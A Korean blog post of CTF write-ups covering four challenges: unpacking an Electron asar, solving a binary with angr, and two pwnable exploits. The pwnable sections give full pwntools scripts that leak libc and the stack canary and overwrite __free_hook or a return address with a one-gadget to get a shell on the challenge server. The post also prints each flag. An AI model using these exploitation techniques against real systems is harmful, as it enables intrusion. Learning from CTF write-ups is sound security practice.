1.Electronic Shock - Reversing
A Chromium rendering engine and the Node.js runtime, what a beautiful combination!
- This challenge was made by CAT-Security from The Catholic University of Korea (CUK)
바이너리(elf) 파일을 실행하면 $PLUGINSDIR 를 압축 푼다. 안에는 아래와 같이 있다.
app-64.7z를 풀고 들어가면 Electronic-Shock.exe 파일과 여러 dll, 폴더들이 있는데, electron
으로 빌드된 앱이라는 것을 알 수 있다. resources
폴더에 asar 파일이 있는데, 이를 decompile 할 수 있다.
$ npm install -g asar
$ cd resources
$ mkdir test
$ asar extract app.asar test
위 코드를 실행하면 아래와 같이 나오고, js 파일에 FLAG가 있다.
FLAG{electron_is_good}
2.Flagmaker - Reversing
This is very easy challenge. Just make the flag.
- This challenge was made by IGRUS from Inha University.
- We found some typo and the flag will not start in flag{ format.
이 문제 코드를 보자마자 손으로 풀기엔 글렀다 생각해서 angr 를 처음 사용해봤다.
import angr
import claripy
proj = angr.Project('./flagmaker', load_options={'auto_load_libs': False})
a = claripy.BVS('a',8*44)
state = proj.factory.entry_state(args=['./flagmaker',a])
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x40054E,avoid=0x400562)
print(simgr.found[0].solver.eval(a,cast_to=str))
flag{th1s_1s_v3rry_3z_c4lcul4t1ng_ch4ll3ng3}
3.Destroyer - Pwnable
You can't expect to hit the jackpot if you don't push a few nickles in the machine.
nc incognito.spr.io 3379
- This challenge was made by KUICS from Korea University
일단 15번 라인에서 buf를 출력하는데, 44번 라인에서 **BOF
** 로 buf를 덮을 수 있다. 이를 통해 libc를 leak 할 수 있고, main 함수에서 마지막 라인에 free(g_name)
에 __free_hook을 원샷으로 덮어주면 된다. 그리고 잭팟은 여러번 돌려서 운빨로 맞아야한다.
from pwn import *
context.log_level = 'debug'
p = process('./destroyer')
p = remote('incognito.spr.io', 3379)
e = ELF('./destroyer')
libc = ELF('./libc.so.6')
#libc = e.libc
p.recvuntil('Name: ')
p.sendline('/bin/sh')
p.recvuntil(' PRESS ENTER TO PLAY \n')
p.sendline('a'*56 + p64(e.got['malloc']))
p.recvuntil('FOR ')
leak = u64(p.recv(6)+'\0\0')
libc_base = leak - libc.symbols['malloc']
#log.info('%x' % libc.symbols['malloc'])
log.info('%x' % leak)
log.info('%x' % libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
#system = libc_base + libc.symbols['system']
oneshot = libc_base + 0x4527a
p.recvuntil(' PRESS ENTER TO PLAY \n')
p.sendline('a'*56 + p64(free_hook))
p.recvuntil("BASTARD ! You're lucky this time - what was your name again?\n")
p.sendline(p64(oneshot))
p.interactive()
FLAG{luck_is_what_happens_when_preparation_meets_opportunity}
4.printableVM
항상 Virtual Machine 만 보면 어려워보였는데, 이거는 분석좀 해보니 재밌었던 문제였다.
대략적인 취약점으로 2개가 있다.
- unsigned char 와 char의 혼동으로 인한 +- 조작
- Write를 통한 Memory Leak → cananry
이 2가지를 사용해 익스할 수 있다.
Read 부분을 보면 read 한 만큼 a2 포인터 값을 더해주는데, 이때 아래와 같이 signed char로 캐스팅해 125바이트를 초과하면 음수를 리턴하게 된다.
음수를 받고 a2를 감소시키면, main 함수의 v9 바로 위에 있는 v8값을 변조 가능해짐으로서 stack overflow 검사를 우회할 수 있다.
익스 흐름: Read 248 → a2 += -8 → Write 8 → leak v8 value → Read 32(표현가능한 가장 작은 문자 아스키값) → cover v8 value → Read 114 → Read 114 → Write 114 → leak canary → get libc_base → change __libc_start_main_ret to oneshot → get Shell
from pwn import *
context.log_level = 'debug'
#p = process('./printableVM')
libc = ELF('./VM_libc.so.6')
p = remote('incognito.spr.io', 3280)
p.recvuntil('opcode : ')
pay = 'S1|P11R1S2 W2R2S0rR0R0W0S3$R3'
p.send(pay + 'F'*(256-len(pay)))
p.send('a'*ord('|')*2)
v8 = u64(p.recv(8))
p.send(p64(v8+0x500)+'a'*24)
p.send('a'*ord('r')*2)
p.recvuntil('\0\0\0\0')
p.recv(8)
canary = u64(p.recv(8))
log.info('%x' % canary)
p.recv(8)
main_ret = u64(p.recv(8))
libc_base = main_ret - 0x21b97
oneshot = libc_base + 0x4f3c2
p.send('a'*12+p64(canary)+'a'*8+p64(oneshot))
p.interactive()
FLAG{Th1s_1S_S1mpl3_Pr1nt4Bl3_VM_Ch4lL3ng3_w1th_Typ3_c4St1nG}
'CTF Writeup' 카테고리의 다른 글
2020 Layer7 CTF - Layer7 VM pwn/rev Writeup (0) | 2020.11.19 |
---|---|
2020 Layer7 CTF - Mask Store Writeup (0) | 2020.11.19 |
사이버 작전경연대회 2020 예선 Classified Document Writeup (0) | 2020.09.13 |
2019 ROOT CTF Wripteup (0) | 2020.09.07 |
2019 Layer7 CTF - Login Challenge (0) | 2020.09.07 |